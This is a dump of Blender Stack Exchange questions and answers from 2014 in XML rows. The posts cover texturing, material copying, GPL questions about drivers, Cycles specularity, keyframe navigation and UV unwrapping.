  <row Id="13591" PostTypeId="2" ParentId="13590" CreationDate="2014-06-28T18:42:26.947" Score="20" Body="&lt;p&gt;I think you want something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gql68.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WclMA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-06-28T18:50:56.353" LastActivityDate="2014-06-28T18:50:56.353" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13592" PostTypeId="1" CreationDate="2014-06-28T19:27:19.073" Score="3" ViewCount="168" Body="&lt;p&gt;I need to use a class written in Python 2.x, but get tons of errors in Blender 2.71 Python 3, any ways around this problem?&lt;/p&gt;&#xA;" OwnerUserId="5006" LastEditorUserId="1112" LastEditDate="2014-06-28T20:37:20.300" LastActivityDate="2014-12-20T00:54:51.710" Title="Python 2.x class in 3.x" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13593" PostTypeId="1" CreationDate="2014-06-28T19:33:58.050" Score="1" ViewCount="5305" Body="&lt;p&gt;I have made a massive cube made from hundreds of smaller cubes for a wreaking ball to hit and knock down. I want the cubes to be wood textured. I have my texture on one cube but I want all 700 cubes to be the same texture, there is no way I can go through and texture every single cube. How do I take the texture from the one cube and apply it to all of the other cubes? &lt;/p&gt;&#xA;" OwnerUserId="5007" LastActivityDate="2014-06-29T03:06:16.503" Title="How to copy textures to other cubes" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-06-28T23:01:04.757" ContentLicense="CC BY-SA 3.0" />
  <row Id="13594" PostTypeId="2" ParentId="13593" CreationDate="2014-06-28T19:50:17.257" Score="1" Body="&lt;p&gt;You need to copy the material.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;To do this, select all the cubes. &lt;/li&gt;&#xA;&lt;li&gt;Next also select the cube with the texture(be sure to do that one last). The cube with the textures should have a light orange background instead of a dark orange. &lt;/li&gt;&#xA;&lt;li&gt;Finally press &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;L&lt;/kbd&gt;-&gt;Materials.&lt;/li&gt;&#xA;&lt;li&gt;To copy the UV unwrap, use &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;L&lt;/kbd&gt;-&gt;Transfer UV maps&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Done!&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-06-29T03:06:16.503" LastActivityDate="2014-06-29T03:06:16.503" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13595" PostTypeId="2" ParentId="13592" CreationDate="2014-06-28T20:45:31.303" Score="6" Body="&lt;p&gt;There isn't one single way to translate your class from Python 2 to Python 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try using the command-line tool &lt;a href=&quot;https://docs.python.org/2/library/2to3.html&quot; rel=&quot;nofollow&quot;&gt;2to3&lt;/a&gt; to do the translation, but it's not perfect, so you'll need to verify the results.&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="55" LastEditDate="2014-12-20T00:54:51.710" LastActivityDate="2014-12-20T00:54:51.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13596" PostTypeId="2" ParentId="12268" CreationDate="2014-06-28T21:27:54.527" Score="0" Body="&lt;p&gt;As pointed out by Sambler, &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; already cycles through the three sequencer views.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also possible to set up a shortcut to toggle between two of them:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to &lt;code&gt;File&lt;/code&gt; &gt; &lt;code&gt;User Settings&lt;/code&gt; &gt; &lt;code&gt;Input&lt;/code&gt;, and expand &lt;code&gt;Sequencer&lt;/code&gt;, then expand &lt;code&gt;Sequencer (Global)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Scroll down, hit &lt;code&gt;Add New&lt;/code&gt; and expand the new shortcut&lt;/li&gt;&#xA;&lt;li&gt;In the textbox that has &quot;none&quot; in it, type &lt;code&gt;wm.context_toggle_enum&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set the keyboard shortcut to what you want&lt;/li&gt;&#xA;&lt;li&gt;In the Context Attributions box, type &lt;code&gt;space_data.view_type&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;In the two Value boxes, type &lt;code&gt;SEQUENCER&lt;/code&gt; and &lt;code&gt;SEQUENCER_PREVIEW&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q84u2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could have figured out the last two steps by changing the sequencer view and looking at the output in the Info window.&lt;/p&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2014-06-28T21:27:54.527" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13598" PostTypeId="1" AcceptedAnswerId="13599" CreationDate="2014-06-28T21:35:18.087" Score="5" ViewCount="386" Body="&lt;p&gt;It's known that any Python script running inside Blender must be GPLv2+ compatible ***, See the &lt;a href=&quot;http://gnu.org/licenses/gpl-faq.html#IfInterpreterIsGPL&quot; rel=&quot;nofollow&quot;&gt;GPL FAQ&lt;/a&gt;, but what about driver expressions? Does this mean all my Blend files have to be GPL as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the implications for having Python code inside a &lt;code&gt;.blend&lt;/code&gt; file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*** &lt;em&gt;if it is to be redistributed&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-08-05T07:12:22.930" LastActivityDate="2018-04-15T17:36:20.080" Title="How does the GPL apply to code in Blender files? (e.g. Drivers)" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13599" PostTypeId="2" ParentId="13598" CreationDate="2014-06-28T21:48:14.410" Score="5" Body="&lt;p&gt;Short answer: &lt;strong&gt;Yes&lt;/strong&gt;, the GPL applies to drivers too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just as the GPL applies to addons, it applies to drivers &lt;em&gt;(any scripts running inside of Blender)&lt;/em&gt;. However this doesn't automatically everything you do in that blend file is suddenly GPL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In many cases drivers on their own don't constitute an &lt;strong&gt;original work&lt;/strong&gt;, Obviously you can't copyright &lt;code&gt;1 + 1&lt;/code&gt;, &lt;code&gt;rot / pi&lt;/code&gt; or other simple expressions.&lt;br&gt;&lt;em&gt;Exactly what is original enough to be copyrighted isn't totally clear and depends on local laws.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the case where the client/customer has the blend file, they can see the driver expressions &lt;em&gt;anyway&lt;/em&gt;, and use them, however drivers are rarely useful on their own, typically they are only valuable because of their use within a rig and data they reference (the rig, objects etc).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In many cases, the deliverable content from a project isn't a blend file, The finished work may be image / video / exported-model, therefor there is no need to distribute the blend file, a driver can be treated as &lt;em&gt;in house software&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So the main case this prohibits are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If you made a rig and wanted to charge licensing fee's for using the drivers.&lt;br&gt;&lt;em&gt;While this remains possible, you would have to use a GPL compatible license for the drivers.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you give a blend file to someone, you could &lt;strong&gt;not&lt;/strong&gt; prohibit them from reusing or sharing a driver-expression in that blend file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In practice, the drivers in a blend file are plain-text anyway, and not all that useful on their own.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But might mixing the scripts with the &lt;code&gt;.blend&lt;/code&gt; file data, also make the blend file GPL?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's worth looking into this more, however Wordpress lets images in a theme be exempt from the GPL. (Where the theme may contain code &amp;amp; data, this is a precedent where the data is exempt while the code isn't).&#xA;&lt;a href=&quot;http://wordpress.org/news/2009/07/themes-are-gpl-too/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/news/2009/07/themes-are-gpl-too/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Obligatory - &lt;strong&gt;I am not a lawyer&lt;/strong&gt; disclaimer, however this is how the GPL applies as I understand it @ideasman42&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-08-05T07:09:09.837" LastActivityDate="2015-08-05T07:09:09.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13600" PostTypeId="1" AcceptedAnswerId="13607" CreationDate="2014-06-28T21:48:57.530" Score="9" ViewCount="19004" Body="&lt;p&gt;I've seen some examples like on BlenderGuru.com and some other youtube tutorials. But, what would be considered the proper way to add a specularity map in cycles?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-06-29T15:12:13.150" LastActivityDate="2014-06-29T15:12:13.150" Title="How to add a specularity map in cycles?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13602" PostTypeId="1" CreationDate="2014-06-29T00:31:06.093" Score="1" ViewCount="88" Body="&lt;p&gt;I have a simulation of a wreaking ball hitting some blocks. I click Animation and when it is completed animating and I click play to watch it, nothing happens. It just shows me the last rendered image in the animation.&lt;/p&gt;&#xA;" OwnerUserId="5007" LastEditorUserId="1112" LastEditDate="2014-06-29T01:04:04.283" LastActivityDate="2014-06-29T01:04:04.283" Title="Play back of animation stops on last rendered image" Tags="&lt;rendering&gt;&lt;animation&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2014-06-29T20:10:34.730" ContentLicense="CC BY-SA 3.0" />
  <row Id="13603" PostTypeId="2" ParentId="13575" CreationDate="2014-06-29T01:13:55.083" Score="0" Body="&lt;p&gt;I just had to use the copy transform constraint, as it connects it in a way that it follows the magazine.&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="599" LastEditDate="2014-06-29T03:59:23.497" LastActivityDate="2014-06-29T03:59:23.497" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13604" PostTypeId="1" AcceptedAnswerId="13606" CreationDate="2014-06-29T01:38:24.063" Score="2" ViewCount="750" Body="&lt;p&gt;In After Effects, I could easily select a keyframe, right click it, and click &quot;Go to keyframe time&quot; so I could easily line up other keyframes to it and do other useful things, but how do i do this in Blender?&lt;/p&gt;&#xA;" OwnerUserId="5009" LastEditorUserId="55" LastEditDate="2014-06-29T05:22:20.793" LastActivityDate="2014-06-29T05:22:20.793" Title="How do I jump to a keyframe time on the dope sheet?" Tags="&lt;keyframes&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13605" PostTypeId="2" ParentId="13538" CreationDate="2014-06-29T01:40:15.307" Score="0" Body="&lt;p&gt;No, there is no way to change the default type (without modifying the source code and making a custom build).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-06-29T01:40:15.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13606" PostTypeId="2" ParentId="13604" CreationDate="2014-06-29T02:11:38.763" Score="2" Body="&lt;p&gt;In the Dope Sheet Editor or the Graph Editor you can select the keyframe and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or use the menu Key-&gt;Jump to keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EBm5o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-06-29T02:21:47.770" LastActivityDate="2014-06-29T02:21:47.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13607" PostTypeId="2" ParentId="13600" CreationDate="2014-06-29T03:24:45.317" Score="5" Body="&lt;p&gt;Do it just like blender guru. To do this see image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ldrbI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be more specific, Cycles is a unbiased ray tracing engine. That means that computer actually computes the rays of light in the scene. Because of this the specularity of a material is not controlled by a setting, but by the actual physical properties that create the effect. For this reason their is &lt;strong&gt;no specularity setting&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why some render engines have a control for specularity is because they fake the effect.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-06-29T04:02:16.110" LastActivityDate="2014-06-29T04:02:16.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13608" PostTypeId="2" ParentId="13600" CreationDate="2014-06-29T03:43:58.253" Score="5" Body="&lt;p&gt;I would use a mix node and connect the map to the &lt;em&gt;factor&lt;/em&gt; input:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w9t8Q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see these related questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/5069/599&quot;&gt;I&amp;#39;d like to have portions of a texture not glossy&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/10595/599&quot;&gt;How does fac differ with manual control versus node control?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-06-29T04:05:01.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13610" PostTypeId="1" AcceptedAnswerId="13611" CreationDate="2014-06-29T09:03:28.320" Score="10" ViewCount="14622" Body="&lt;p&gt;I want to use Freestyle for a scene with lots of different Cycles Materials, is there an easy way to change them all at once to Blender Internal? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be nice if the materials are somehow related, but thats not that important. More important is, that if one material is used for two objects, afterwards the relation stays the same, having the material assigned to the objects as before and not to others (therefor just assigning one new bi material to all objects wouldnt work).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that switching the renderer to bi and unchecking &quot;Use Nodes&quot; in the material tab makes roughly what I want, but doing that manualy for every material one by one takes lots of time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a command or script that I can use?&lt;/p&gt;&#xA;" OwnerUserId="1147" LastActivityDate="2014-11-21T06:23:06.763" Title="Convert Materials from Cycles to Blender Internal Render" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;scripting&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13611" PostTypeId="2" ParentId="13610" CreationDate="2014-06-29T09:10:22.347" Score="9" Body="&lt;p&gt;Try running this in the text editor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for mat in bpy.data.materials:&#xA;    mat.use_nodes = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will disable &lt;em&gt;use nodes&lt;/em&gt; for every material.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-06-29T09:10:22.347" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13612" PostTypeId="2" ParentId="8091" CreationDate="2014-06-29T09:22:53.480" Score="1" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Taogq.jpg&quot; alt=&quot;curves, bevel, taper...&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what i basically did here:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;a curve (the big cylinder) (lets call it curve1)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;using as bevel object the circle (blue) so that the curve is no longer a curve , but a cylinder (lets call it circle)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;using another curve (green) as taper object so you can have a cylinder with different thickniss at different points (lets call it curve2)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;without the ~0,35 at the red marker the arrows at the cylinder would be in the middle of the object... i find it easier this way, for giving the cylinder the right shape, because that  way you can easily set the shape of the bottom with curve1 and the shape of the top with curve2&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2926" LastActivityDate="2014-06-29T09:22:53.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13614" PostTypeId="1" CreationDate="2014-06-29T13:22:19.827" Score="5" ViewCount="3078" Body="&#xA;&#xA;&lt;p&gt;I have seen other people having more options in the Image paint tool menu, &#xA;just like the picture below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/etj5SQv.png&quot; alt=&quot;Brush settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only have the options draw, soften, smear and clone while he also has fill and mask options.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I found out what was wrong after some experiments. It turned out that when i turned on 3D view: Screencast key it made me unable to use the paint tools.&lt;/p&gt;&#xA;" OwnerUserId="5013" LastEditorUserId="12" LastEditDate="2015-10-13T00:39:37.330" LastActivityDate="2015-10-13T00:39:37.330" Title="How can I get the fill and mask options?" Tags="&lt;texturing&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13615" PostTypeId="2" ParentId="13587" CreationDate="2014-06-29T15:06:07.517" Score="3" Body="&lt;p&gt;There is no built-in way to perform that task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many rigs provide python scripts that show panels in the 3dview for controls such as layer display and IK/FK switching, many also include scripts that snap IK bones to the position of FK bones and vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the rigify scripts that are included with blender within the addons folder where you can look at how this can be achieved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most animators will tend to use one or the other depending on the actions being animated, keying the IK/FK influences on a transition frame when they change over. I believe you will find it difficult to be using both on every frame and only create extra work for yourself.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-06-29T15:06:07.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13616" PostTypeId="2" ParentId="13614" CreationDate="2014-06-29T16:09:43.387" Score="5" Body="&lt;p&gt;Make sure, that you have the same &lt;strong&gt;Blender Version&lt;/strong&gt; used in the tutorial. Most of them announce which version they use.&#xA;The Fill Tool is not available in the 2.71 Version. This is a development of the Google Summer of code 2013 and it's planned to merge this tools in the 2.72 Version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently you can download a build from &lt;a href=&quot;http://graphicall.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://graphicall.org/&lt;/a&gt;. (seach for &quot;Paint&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For examle &lt;a href=&quot;http://graphicall.org/1107&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://graphicall.org/1107&lt;/a&gt; (tested, works)&#xA;&lt;hr&gt;&#xA;If you want to draw a &lt;strong&gt;Line&lt;/strong&gt; you can change the Stroke Stettings:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kkiPM.jpg&quot; alt=&quot;Stroke Method: Line&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3369" LastEditorUserId="3369" LastEditDate="2014-06-29T19:19:41.490" LastActivityDate="2014-06-29T19:19:41.490" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13617" PostTypeId="2" ParentId="5486" CreationDate="2014-06-29T17:14:09.290" Score="1" Body="&lt;p&gt;I know this is a little late in coming, but I think I have something closer to what you want and others may benefit from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a render of the world background done without a texture as shown in the node setup. Blender naturally wants to project the color ramp along the x-axis, but you can rotate it around the y-axis until it faces upward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fJogs.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BALDq.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5015" LastActivityDate="2014-06-29T17:14:09.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13618" PostTypeId="2" ParentId="5486" CreationDate="2014-06-29T18:43:22.610" Score="12" Body="&lt;p&gt;You can generate a Gradient by displacing a RGB node with a white value on the Y axis, and using that as a factor to mix two colors (Note the Wrap Value on X axis on the Transform node).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QySe2.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wKyR6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To soften the edge between the two colors apply a Blur node.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6r5Oo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just mix it with your rendered image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0oa8c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All done within the compositor, with total control on the placement and softness,&#xA;and no need for additional textures or images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xCL04.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mTsKU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-06-29T20:36:04.983" LastActivityDate="2014-06-29T20:36:04.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13619" PostTypeId="1" CreationDate="2014-06-29T23:11:47.447" Score="2" ViewCount="2190" Body="&lt;p&gt;I would like to know if there is a good way to simulate crumpling metal, I have tried soft body and cloth sim's without much luck(although for some deformation the soft body sim dose work). Maybe it can be done with bullet physics engine with a little scripting? Or maybe there is another program out there that can simulate metal deformation? I could just model the deformation by hand using shape keys but I am looking for a faster workflow. I need it for a three second car crash VFX shot with a lot of rolling, thus a lot of deformation so shape keys really are not ideal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is sort of what I am looking for: &lt;a href=&quot;https://www.flickr.com/photos/andosteinmetz/2481005494&quot; rel=&quot;nofollow&quot;&gt;https://www.flickr.com/photos/andosteinmetz/2481005494&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2387" LastEditorUserId="2217" LastEditDate="2014-07-01T20:19:47.367" LastActivityDate="2014-07-01T20:21:16.037" Title="How to simulate deformed metal" Tags="&lt;game-engine&gt;&lt;workflow&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13620" PostTypeId="1" AcceptedAnswerId="13673" CreationDate="2014-06-30T04:15:05.330" Score="3" ViewCount="1312" Body="&lt;p&gt;I just upgraded from Blender 2.69 to 2.71. I loaded my previous save file and found, to my dismay, that my pose no longer displayed properly. I'm using Makehuman version 1.0.0. It appears that FK still functions as expected, but IK does not. IK hand and foot targets do not affect arm and leg placement. The root bone appeared to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how I can (preferably) revive my save files with the new version? Alternatively, is there a way I can export the pose from 2.69, save in the neutral position, then re-import the pose in 2.71? I don't see any export options for poses in 2.69.&lt;/p&gt;&#xA;" OwnerUserId="5019" LastActivityDate="2014-07-01T19:08:58.267" Title="Makehuman pose broken between 2.69 and 2.7x" Tags="&lt;makehuman&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13621" PostTypeId="1" AcceptedAnswerId="13622" CreationDate="2014-06-30T07:13:08.017" Score="2" ViewCount="620" Body="&lt;p&gt;I'm developing a game in Unity and I use Blender to create my models. In my game I need a board with holes in it. I create holes by using a cylinder and a boolean modifier like this:&#xA;&lt;img src=&quot;https://imgur.com/ptXHMlG.png&quot; alt=&quot;Cylinder&quot;&gt;&#xA;&lt;img src=&quot;https://imgur.com/ywxiwr0.png&quot; alt=&quot;Board with a hole&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I apply my test texture to the board and it looks nice:&#xA;&lt;img src=&quot;https://i.imgur.com/eiB6zem.png&quot; alt=&quot;Texture&quot;&gt;&#xA;&lt;img src=&quot;https://imgur.com/HbsNUsH.png&quot; alt=&quot;Textured board with generated coordinates&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, the texture mapping coordinates is set to &quot;Generated&quot;. But since I want the texture to transfer to Unity, I need to use UV coordinates and create a UV map for the model. I tried to select the top faces and unwrap, but the end result looks messy because the hole makes my texture to curve.&#xA;&lt;img src=&quot;https://imgur.com/6Zb9jLi.png&quot; alt=&quot;UV mapping the board&quot;&gt;&#xA;&lt;img src=&quot;https://imgur.com/VxOmx9e.png&quot; alt=&quot;Textured board with UV coordinates&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a simple way to unwrap my board model so that the texture would ignore the hole and look like it did when using generated coordinates? I tried to modify the UV map by selecting different edges from the model and moving the vertices around the UV map but I can't figure out how to do it correctly. I need the texture applied only on the top of my board, if it helps anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe there is some way to import .blend files to Unity with generated coordinates, but I think I have to ask that from the Unity formus instead.&lt;/p&gt;&#xA;" OwnerUserId="5020" LastActivityDate="2014-06-30T08:31:24.783" Title="How to stop texture curving around a hole?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13622" PostTypeId="2" ParentId="13621" CreationDate="2014-06-30T08:31:24.783" Score="1" Body="&lt;p&gt;You could select upward faces, go in top view and hit &lt;kbd&gt;U&lt;/kbd&gt;, Project From View (bounds) to fit the faces to your map, but then the other faces wouldn't be unwrapped, so you'd have to unwrap then separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're going to export it to Unity, you might as well triangulate the mesh inside Blender with &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;T&lt;/kbd&gt; before unwrapping, it may work better without NGons.&lt;/p&gt;&#xA;" OwnerUserId="4979" LastActivityDate="2014-06-30T08:31:24.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
